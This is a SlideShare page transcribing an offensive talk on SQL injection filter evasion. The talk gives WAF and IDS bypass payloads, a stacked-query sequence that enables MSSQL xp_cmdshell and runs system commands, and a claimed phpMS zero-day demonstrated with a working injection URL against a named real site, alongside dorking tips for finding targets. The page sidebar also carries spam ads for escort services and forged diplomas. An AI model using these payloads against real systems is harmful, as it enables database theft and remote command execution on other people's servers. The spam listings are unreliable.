SlideShare a Scribd company logo
1 of 30
By Francis Alexander
• Got Listed at ebay and
Microsoft security
Researchers List
• Worked as free lance security
researcher for tech2.in.com
and in.com
• Found SQLi vulnerabilities
at kerala enterance portal
website
• http://tech2.in.com/news/gene
ral/updated-serious-
vulnerability-affects-kerala-
common-entrance-exams-
portal/369982
• Basically the InfoSec
Researcher Guy 
Strictly waf based and Real Life Based Scenarious 
MsSql Stack Based Queries(thought it as a good addon)
A PHP-MS 0-DAY 
First among the OWASP TOP 10 vulnerabilities
Used for gaining access to sql database and hence the b0x
Mainly of 5 types
 Union based
 Error based
 X-path based
 Blind and Time based
 Double Query based
So whats the catch here!!!
Pentesting real life scenarious is much difficult
than ever
Sqli has been patched and firewalls, IDS and IPS
installed everywhere
Exploiting Sqli has been difficult and tools has
disappointed to !
Ofcourse Failure of Sqlmap !!!
Failure of Havij which by the way is always a
failure :p
IDS , IPS and other firewall family
Apache security modules
mod_sec,htmlentities,mysql_escape,magic_quotes
and all my dear appsec modules
What are they !!?
Well we need to overcome the situation that has
come rather than site and lament over it
Here will focusing on the real life scenarious where
the tools fail and much of our human hard work
comes in
Preg_match is a comparer statement used in php
Mainly deployed by small scale waf’s
Poorly coded ones the easier an example
Used when “select” + any case letters are blocked
'select'+'(A-Za-z)‘
So any letter after select gets filtered out
Solution
Mysql has an option called stored variable procedure
“@” is a sign that can be used as a prefix, that denotes
stored procedure, function parameter names, and
variables names.
So how do we do it?
Union select 1,2,3 - - = 403 Forbidden
So It changes to
and (@:=version()) union select 1,@,3- - = bypassed
 So whats the Catch here 
 Most of us love the dork inurl:php?id= site:blah.com
 So what has happened most admins have changed the id=
parameters to within the url and making the tools go wreckless
and n00bs go mad
 An example would be the usuall way was
site.com/index.php?id= ,now they have gone on and changed to
site.com/index-goods-12.html
 An example site that has no point of injection at the first sight
 Ex: http://www.cal***.com/Preservatif-Callvin-Preservatif-Je-
suis-prete,884.html
Usual commenting style should be followed here ie the “- -”
other wise other forms like %23(#) and /* could cause the
browser to misinterpret the statement as a comment
hence commenting out the rest and not letting it read the
.html part
In most cases encountered these type of injections, there
are white spaces which often cause a havoc and nightmare
for scanners
 Well dealing with white spaces depends on different scenarios
 U could use the traditional commenting style like
 id=3/**/union/**/select 1,2,3 or
 Well the problem is /**/ might be filtered in some cases
 So we use the ()which is the same as executing the query
 id=(2)union(select(1),2,3)
 NB:During html based injections it is better to use the
paranthesis
 Based on Error 1222
 Came across CTF’s where the answer had to be in normal
union based .
 Most tools fails here since the vulnerable column is being
parsed in between the html tags.
 Usually union statements are being provided here but the
columns do not get displayed.
 So what do we do ?
 Plse don’t say we look over the source because ur not gonna
find anything at the first shot 
We do this by changing the traditional union select 1,2,3 to
union select 1111,2222,3333
This helps us to search in the source but still nt available
on screen.
If u could like to display it on screen u could use
concat or group_concat functions and using html inside
them
Use hex of html if the quotes are blocked due to magic
quotes
Here we could see the version on closing the “</title>” tag
since the vulnerable column was being displayed within
the title block
Bypassing errors 400/403/404/406
 //convert(group_concat(schema_name) using ascii) from
information_schema.schemata - -
 C-style Commenting : /*!Union*/+/*!Select*/
//apart from the original source commenting the ! Executes the
command
 Character Encoding :Bypasses filters like 400
%55nion/**/%53elect
 Sub queries : Union (select 1,2,3)
//Where most WAF’s fail out
 id=-1+#1q%0Aunion all#qa%0A#%0Aselect 1,2,3%0A#a
 // # is comment but the %0A bypasses with the new line so the statements gets
executed
 Bypassing Error 1064
 Usually related with blocking of white spaces
 id=(0)union(select(0),version(),(0),(0),(0),(0),(0),(0),(0))
// the queries are supplied in parenthesis so as to forbid the use of white
spaces
 “/**/ “Commenting also possible
 Bypassing Error 500
 and (select 1)=(Select 0xAA)+UnIoN+SeLeCt+x,x--+
// WAFs that written in the C language prone to overflow or act differently
when loaded with a bunch of data.
Give a large amount of data allows our code executing
Stacked queries mainly available in mssql and postgresql
servers
Underlying process is simple if chmdshell options are
enable then u are in 
Stacked Queries Support is Checked on Server using
'WAITFOR DELAY hour:min:sec’
For ex:EXEC MASTER..xp_cmdshell 'PING 127.0.0.1 -n 6'-
- - would check whether cmdshell is enabled or nt
depending upon time lag.
 http://www.site.com/security.asp?vulnID=123; EXEC sp_configure 'show advanced
options', 1-- -
 http://www.site.com/security.asp?vulnID=123; RECONFIGURE-- -
 http://www.site.com/security.asp?vulnID=123; EXEC sp_configure 'xp_cmdshell', 1-
- -
 http://www.site.com/security.asp?vulnID=123; RECONFIGURE-- -
Just to prove that still this exists a Real Life – demo 
http://www.site.com/security.asp?vulnID=123;; CREATE
TABLE funkyfresh (data varchar(8000));--
// Creates the table funkyfresh
http://www.site.com/security.asp?vulnID=123;; DECLARE
@funky varchar(4000); SET @funky=0x77686f616d69; INSERT
INTO funkyfresh EXEC MASTER..xp_cmdshell @funky;-- -
// WE declare a variable @funky and store it with hex equi. Of
the code
NOTE: 0x77686f616d69 => 'whoami‘
 /!*AND*/
5151=CONVERT(INT,(CHAR(91)+CHAR(83)+CHAR(81)+CHAR(76)+C
HAR(105)+CHAR(93)+(SELECT TOP 1
SUBSTRING((ISNULL(CAST(data AS
NVARCHAR(4000)),CHAR(32))),1,100) FROM funkyfresh WHERE
ISNULL(data,CHAR(32)) NOT IN (SELECT TOP 1
ISNULL(CAST(data AS NVARCHAR(4000)),CHAR(32)) FROM
funkyfresh ORDER BY data) ORDER BY
data)+CHAR(91)+CHAR(83)+CHAR(81)+CHAR(76)+CHAR(105)+CHA
R(93)))
// Creadits to Bernardo's original write-up from BlackHat
//The reason I took it although a bit complicated works for no reason
seamlessly
 Read the temp table to get the results and you need to make sure you
deal with same data type when you do...
 0-day by me 
 phpMS - a free CMS (content management system),
 Designed for rapid development and support of web-projects of any
complexity.
 Features CMS phpMS:
 Easy to install;
 Multi-level menus;
 Arbitrary arrangement of blocks;
 Simple module development;
 Access rights
Demo http://http://www.rusug.ru/index.php?tree=8&mode=view&id=-
7+union+select+concat_ws(0x3a,version(),database(),user()),2,3,4,5,6--
#By default 6 columns in most cases seen so could use this as default in
sites discovered
#Finding the admin page of this makes it very easy to exploit 
# Default admin page is admin.php :-)
Eg : http://www.site.com/admin.php :)
References
 Couple of Blackhat talks and papers
 kaotickreations.blogspot.in (my blog)
 http://websec.wordpress.com/tag/sql-filter-evasion/

More Related Content

What's hot

Cracking into embedded devices and beyond
Cracking into embedded devices and beyondCracking into embedded devices and beyond
Cracking into embedded devices and beyondamiable_indian
 
Introducing OWASP OWTF Workshop BruCon 2012
Introducing OWASP OWTF Workshop BruCon 2012Introducing OWASP OWTF Workshop BruCon 2012
Introducing OWASP OWTF Workshop BruCon 2012Abraham Aranguren
 
LAMP security practices
LAMP security practicesLAMP security practices
LAMP security practicesAmit Kejriwal
 
Web20expo 20080425
Web20expo 20080425Web20expo 20080425
Web20expo 20080425Media Gorod
 
End to end web security
End to end web securityEnd to end web security
End to end web securityGeorge Boobyer
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesMichele Orru
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsMikhail Egorov
 
Hardening Drupal setup
Hardening Drupal setupHardening Drupal setup
Hardening Drupal setupZeeland Family
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionDefcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionAhmed AbdelSatar
 
Web App Testing With Selenium
Web App Testing With SeleniumWeb App Testing With Selenium
Web App Testing With Seleniumjoaopmaia
 
Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012Michele Orru
 
How to export import a mysql database via ssh in aws lightsail wordpress rizw...
How to export import a mysql database via ssh in aws lightsail wordpress rizw...How to export import a mysql database via ssh in aws lightsail wordpress rizw...
How to export import a mysql database via ssh in aws lightsail wordpress rizw...AlexRobert25
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application HackingRaghav Bisht
 
Sql Injection Tutorial!
Sql Injection Tutorial!Sql Injection Tutorial!
Sql Injection Tutorial!ralphmigcute
 
Window Shopping Browser - Bug Hunting in 2012
Window Shopping Browser - Bug Hunting in 2012Window Shopping Browser - Bug Hunting in 2012
Window Shopping Browser - Bug Hunting in 2012Roberto Suggi Liverani
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityStuart Colville
 
Google在Web前端方面的经验
Google在Web前端方面的经验Google在Web前端方面的经验
Google在Web前端方面的经验yiditushe
 
Defending Against Application DoS attacks
Defending Against Application DoS attacksDefending Against Application DoS attacks
Defending Against Application DoS attacksRoberto Suggi Liverani
 

What's hot (20)

Cracking into embedded devices and beyond
Cracking into embedded devices and beyondCracking into embedded devices and beyond
Cracking into embedded devices and beyond
 
Introducing OWASP OWTF Workshop BruCon 2012
Introducing OWASP OWTF Workshop BruCon 2012Introducing OWASP OWTF Workshop BruCon 2012
Introducing OWASP OWTF Workshop BruCon 2012
 
LAMP security practices
LAMP security practicesLAMP security practices
LAMP security practices
 
Web20expo 20080425
Web20expo 20080425Web20expo 20080425
Web20expo 20080425
 
End to end web security
End to end web securityEnd to end web security
End to end web security
 
When you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the massesWhen you don't have 0days: client-side exploitation for the masses
When you don't have 0days: client-side exploitation for the masses
 
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webappsHunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
 
Hardening Drupal setup
Hardening Drupal setupHardening Drupal setup
Hardening Drupal setup
 
Fav
FavFav
Fav
 
Defcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injectionDefcon 17-joseph mccray-adv-sql_injection
Defcon 17-joseph mccray-adv-sql_injection
 
Web App Testing With Selenium
Web App Testing With SeleniumWeb App Testing With Selenium
Web App Testing With Selenium
 
Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012
 
How to export import a mysql database via ssh in aws lightsail wordpress rizw...
How to export import a mysql database via ssh in aws lightsail wordpress rizw...How to export import a mysql database via ssh in aws lightsail wordpress rizw...
How to export import a mysql database via ssh in aws lightsail wordpress rizw...
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application Hacking
 
Sql Injection Tutorial!
Sql Injection Tutorial!Sql Injection Tutorial!
Sql Injection Tutorial!
 
Window Shopping Browser - Bug Hunting in 2012
Window Shopping Browser - Bug Hunting in 2012Window Shopping Browser - Bug Hunting in 2012
Window Shopping Browser - Bug Hunting in 2012
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Sxsw 20090314
Sxsw 20090314Sxsw 20090314
Sxsw 20090314
 
Google在Web前端方面的经验
Google在Web前端方面的经验Google在Web前端方面的经验
Google在Web前端方面的经验
 
Defending Against Application DoS attacks
Defending Against Application DoS attacksDefending Against Application DoS attacks
Defending Against Application DoS attacks
 

Similar to Sql Injections With Real Life Scenarious

Fix me if you can - DrupalCon prague
Fix me if you can - DrupalCon pragueFix me if you can - DrupalCon prague
Fix me if you can - DrupalCon praguehernanibf
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfGiorgiRcheulishvili
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9sumsid1234
 
OSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ InfosectrainOSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ InfosectrainInfosecTrain
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNoSuchCon
 
C#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 FinalC#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 FinalRich Helton
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfacesmichelemanzotti
 
Operating Docker
Operating DockerOperating Docker
Operating DockerJen Andre
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedPrathan Phongthiproek
 
[xp2013] Narrow Down What to Test
[xp2013] Narrow Down What to Test[xp2013] Narrow Down What to Test
[xp2013] Narrow Down What to TestZsolt Fabok
 
Hack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security TrainingHack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security TrainingColdFusionConference
 
Attack Chaining: Advanced Maneuvers for Hack Fu
Attack Chaining: Advanced Maneuvers for Hack FuAttack Chaining: Advanced Maneuvers for Hack Fu
Attack Chaining: Advanced Maneuvers for Hack FuRob Ragan
 
Null bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web ApplicationNull bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web ApplicationAnant Shrivastava
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processguest3379bd
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooNahidul Kibria
 
Real World Lessons on the Pain Points of Node.js Applications
Real World Lessons on the Pain Points of Node.js ApplicationsReal World Lessons on the Pain Points of Node.js Applications
Real World Lessons on the Pain Points of Node.js ApplicationsBen Hall
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSlawomir Jasek
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by defaultSecuRing
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)Ferruh Mavituna
 

Similar to Sql Injections With Real Life Scenarious (20)

Fix me if you can - DrupalCon prague
Fix me if you can - DrupalCon pragueFix me if you can - DrupalCon prague
Fix me if you can - DrupalCon prague
 
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdfEN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
EN - BlackHat US 2009 favorite XSS Filters-IDS and how to attack them.pdf
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
OSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ InfosectrainOSCP Preparation Guide @ Infosectrain
OSCP Preparation Guide @ Infosectrain
 
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the CoreNSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
 
C#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 FinalC#Web Sec Oct27 2010 Final
C#Web Sec Oct27 2010 Final
 
Download It
Download ItDownload It
Download It
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
Operating Docker
Operating DockerOperating Docker
Operating Docker
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
[xp2013] Narrow Down What to Test
[xp2013] Narrow Down What to Test[xp2013] Narrow Down What to Test
[xp2013] Narrow Down What to Test
 
Hack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security TrainingHack & Fix, Hands on ColdFusion Security Training
Hack & Fix, Hands on ColdFusion Security Training
 
Attack Chaining: Advanced Maneuvers for Hack Fu
Attack Chaining: Advanced Maneuvers for Hack FuAttack Chaining: Advanced Maneuvers for Hack Fu
Attack Chaining: Advanced Maneuvers for Hack Fu
 
Null bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web ApplicationNull bhopal Sep 2016: What it Takes to Secure a Web Application
Null bhopal Sep 2016: What it Takes to Secure a Web Application
 
Whatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the processWhatever it takes - Fixing SQLIA and XSS in the process
Whatever it takes - Fixing SQLIA and XSS in the process
 
Everybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs tooEverybody loves html5,h4ck3rs too
Everybody loves html5,h4ck3rs too
 
Real World Lessons on the Pain Points of Node.js Applications
Real World Lessons on the Pain Points of Node.js ApplicationsReal World Lessons on the Pain Points of Node.js Applications
Real World Lessons on the Pain Points of Node.js Applications
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 

Recently uploaded

定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一Fs
 
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Dana Luther
 
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一z xss
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhimiss dipika
 
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一Fs
 
Magic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMagic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMartaLoveguard
 
Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Excelmac1
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxDyna Gilbert
 
Git and Github workshop GDSC MLRITM
Git and Github  workshop GDSC MLRITMGit and Github  workshop GDSC MLRITM
Git and Github workshop GDSC MLRITMgdsc13
 
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012rehmti665
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Paul Calvano
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书zdzoqco
 
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一Fs
 
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Sonam Pathan
 
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一Fs
 
Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170Sonam Pathan
 

Recently uploaded (20)

定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
定制(AUT毕业证书)新西兰奥克兰理工大学毕业证成绩单原版一比一
 
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
Packaging the Monolith - PHP Tek 2024 (Breaking it down one bite at a time)
 
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Uttam Nagar Delhi 💯Call Us 🔝8264348440🔝
 
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
办理(UofR毕业证书)罗切斯特大学毕业证成绩单原版一比一
 
Model Call Girl in Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in  Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝Model Call Girl in  Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
Model Call Girl in Jamuna Vihar Delhi reach out to us at 🔝9953056974🔝
 
Contact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New DelhiContact Rya Baby for Call Girls New Delhi
Contact Rya Baby for Call Girls New Delhi
 
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
定制(UAL学位证)英国伦敦艺术大学毕业证成绩单原版一比一
 
Magic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptxMagic exist by Marta Loveguard - presentation.pptx
Magic exist by Marta Loveguard - presentation.pptx
 
Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...Blepharitis inflammation of eyelid symptoms cause everything included along w...
Blepharitis inflammation of eyelid symptoms cause everything included along w...
 
Top 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptxTop 10 Interactive Website Design Trends in 2024.pptx
Top 10 Interactive Website Design Trends in 2024.pptx
 
Git and Github workshop GDSC MLRITM
Git and Github  workshop GDSC MLRITMGit and Github  workshop GDSC MLRITM
Git and Github workshop GDSC MLRITM
 
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
Call Girls South Delhi Delhi reach out to us at ☎ 9711199012
 
Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24Font Performance - NYC WebPerf Meetup April '24
Font Performance - NYC WebPerf Meetup April '24
 
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Serviceyoung call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
young call girls in Uttam Nagar🔝 9953056974 🔝 Delhi escort Service
 
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
办理多伦多大学毕业证成绩单|购买加拿大UTSG文凭证书
 
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
定制(Lincoln毕业证书)新西兰林肯大学毕业证成绩单原版一比一
 
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
Call Girls In The Ocean Pearl Retreat Hotel New Delhi 9873777170
 
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
定制(Management毕业证书)新加坡管理大学毕业证成绩单原版一比一
 
Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170Call Girls Near The Suryaa Hotel New Delhi 9873777170
Call Girls Near The Suryaa Hotel New Delhi 9873777170
 
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in  Rk Puram 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Rk Puram 🔝 9953056974 🔝 Delhi escort Service
 

Sql Injections With Real Life Scenarious

  • 2. • Got Listed at ebay and Microsoft security Researchers List • Worked as free lance security researcher for tech2.in.com and in.com • Found SQLi vulnerabilities at kerala enterance portal website • http://tech2.in.com/news/gene ral/updated-serious- vulnerability-affects-kerala- common-entrance-exams- portal/369982 • Basically the InfoSec Researcher Guy 
  • 3. Strictly waf based and Real Life Based Scenarious  MsSql Stack Based Queries(thought it as a good addon) A PHP-MS 0-DAY 
  • 4. First among the OWASP TOP 10 vulnerabilities Used for gaining access to sql database and hence the b0x Mainly of 5 types  Union based  Error based  X-path based  Blind and Time based  Double Query based
  • 5. So whats the catch here!!! Pentesting real life scenarious is much difficult than ever Sqli has been patched and firewalls, IDS and IPS installed everywhere Exploiting Sqli has been difficult and tools has disappointed to !
  • 6. Ofcourse Failure of Sqlmap !!! Failure of Havij which by the way is always a failure :p IDS , IPS and other firewall family Apache security modules mod_sec,htmlentities,mysql_escape,magic_quotes and all my dear appsec modules
  • 7. What are they !!? Well we need to overcome the situation that has come rather than site and lament over it Here will focusing on the real life scenarious where the tools fail and much of our human hard work comes in
  • 8. Preg_match is a comparer statement used in php Mainly deployed by small scale waf’s Poorly coded ones the easier an example
  • 9. Used when “select” + any case letters are blocked 'select'+'(A-Za-z)‘ So any letter after select gets filtered out Solution Mysql has an option called stored variable procedure “@” is a sign that can be used as a prefix, that denotes stored procedure, function parameter names, and variables names.
  • 10. So how do we do it? Union select 1,2,3 - - = 403 Forbidden So It changes to and (@:=version()) union select 1,@,3- - = bypassed
  • 11.  So whats the Catch here   Most of us love the dork inurl:php?id= site:blah.com  So what has happened most admins have changed the id= parameters to within the url and making the tools go wreckless and n00bs go mad  An example would be the usuall way was site.com/index.php?id= ,now they have gone on and changed to site.com/index-goods-12.html  An example site that has no point of injection at the first sight  Ex: http://www.cal***.com/Preservatif-Callvin-Preservatif-Je- suis-prete,884.html
  • 12.
  • 13. Usual commenting style should be followed here ie the “- -” other wise other forms like %23(#) and /* could cause the browser to misinterpret the statement as a comment hence commenting out the rest and not letting it read the .html part In most cases encountered these type of injections, there are white spaces which often cause a havoc and nightmare for scanners
